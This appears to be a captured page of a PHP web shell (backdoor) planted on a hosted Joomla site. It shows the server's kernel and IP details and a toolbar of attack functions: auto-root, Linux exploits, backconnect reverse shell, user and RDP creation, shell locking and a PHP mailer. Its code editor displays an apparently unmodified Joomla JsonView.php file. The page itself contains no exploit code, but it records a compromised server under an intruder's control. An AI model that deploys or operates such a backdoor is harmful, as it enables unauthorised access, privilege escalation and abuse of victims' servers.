Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
Apache
: 10.120.20.2 | : 216.73.216.49
Cant Read [ /etc/named.conf ]
8.5.7
verseaumee
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
verseaumee /
zenit /
libraries /
src /
MVC /
View /
[ HOME SHELL ]
Name
Size
Permission
Action
Event
[ DIR ]
drwxr-xr-x
AbstractView.php
5.69
KB
-rw----r--
CategoriesView.php
2.77
KB
-rw----r--
CategoryFeedView.php
4.08
KB
-rw----r--
CategoryView.php
7.79
KB
-rw----r--
FormView.php
5.16
KB
-rw----r--
GenericDataException.php
434
B
-rw----r--
HtmlView.php
14.65
KB
-rw----r--
JsonApiView.php
7.03
KB
-rw----r--
JsonView.php
2.65
KB
-rw----r--
ListView.php
6.02
KB
-rw----r--
ViewInterface.php
893
B
-rw----r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : JsonView.php
<?php /** * Joomla! Content Management System * * @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\CMS\MVC\View; \defined('JPATH_PLATFORM') or die; use Joomla\CMS\Log\Log; /** * Base class for a Joomla Json View * * Class holding methods for displaying presentation data. * * @since 4.0.0 */ class JsonView extends AbstractView { /** * The base path of the view * * @var string * @since 4.0.0 */ protected $_basePath = null; /** * Charset to use in escaping mechanisms; defaults to urf8 (UTF-8) * * @var string * @since 4.0.0 */ protected $_charset = 'UTF-8'; /** * The output of the view. * * @var array * @since 4.0.0 */ protected $_output = array(); /** * Constructor * * @param array $config A named configuration array for object construction. * name: the name (optional) of the view (defaults to the view class name suffix). * charset: the character set to use for display * escape: the name (optional) of the function to use for escaping strings * base_path: the parent path (optional) of the views directory (defaults to the component folder) * template_plath: the path (optional) of the layout directory (defaults to base_path + /views/ + view name * helper_path: the path (optional) of the helper files (defaults to base_path + /helpers/) * layout: the layout (optional) to use to display the view * * @since 4.0.0 */ public function __construct($config = array()) { parent::__construct($config); // Set the charset (used by the variable escaping functions) if (\array_key_exists('charset', $config)) { Log::add('Setting a custom charset for escaping is deprecated. Override \JViewLegacy::escape() instead.', Log::WARNING, 'deprecated'); $this->_charset = $config['charset']; } // Set a base path for use by the view if (\array_key_exists('base_path', $config)) { $this->_basePath = $config['base_path']; } else { $this->_basePath = JPATH_COMPONENT; } } /** * Execute and display a template script. * * @param string $tpl The name of the template file to parse; automatically searches through the template paths. * * @return void * * @since 4.0.0 */ public function display($tpl = null) { // Serializing the output $result = json_encode($this->_output); // Pushing output to the document $this->document->setBuffer($result); } }
Close